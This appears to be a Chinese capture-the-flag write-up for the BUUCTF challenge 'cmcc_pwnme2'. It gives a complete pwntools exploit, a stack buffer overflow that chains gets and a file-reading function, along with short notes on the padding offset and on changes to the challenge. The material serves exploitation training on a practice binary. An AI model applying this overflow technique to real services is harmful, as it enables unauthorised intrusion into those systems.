[BUUCTF]-PWN:cmcc_pwnme2解析

保护

[BUUCTF]-PWN:cmcc_pwnme2解析_第1张图片

ida

[BUUCTF]-PWN:cmcc_pwnme2解析_第2张图片

完整exp:

from pwn import*
context(log_level='debug')
#p=remote('node5.buuoj.cn',26964)
p=process('./pwnme2')
addhome=0x8048644
addflag=0x8048682
getfile=0x80485CB
main=0x80486F8
pop_ebp=0x8048680
ret=0x80483f2
pop_ebx=0x8048409
pop_edi_ebp=0x804867f
strings=0x804A060
gets=0x8048440

payload=b'a'*(0x6c+4)+p32(gets)+p32(getfile)+p32(strings)
p.sendlineafter(b'Please input:',payload)
p.sendline(b'flag')
p.interactive()

补充点1:为啥填充0x6c+4而不是0x88+4?动态调试可以知道ebp+4那个地方存了一个指针,在后续跳转中会用到,即使在那个地方填上地址,依然会报错,所以只能用strcpy来覆盖返回地址。

补充点2:这道题应该不能用原本的解法来解了,因为原本题目里的是flag1,所以只能自己手动输入flag。

你可能感兴趣的:(前端,linux,数据库,安全,网络安全)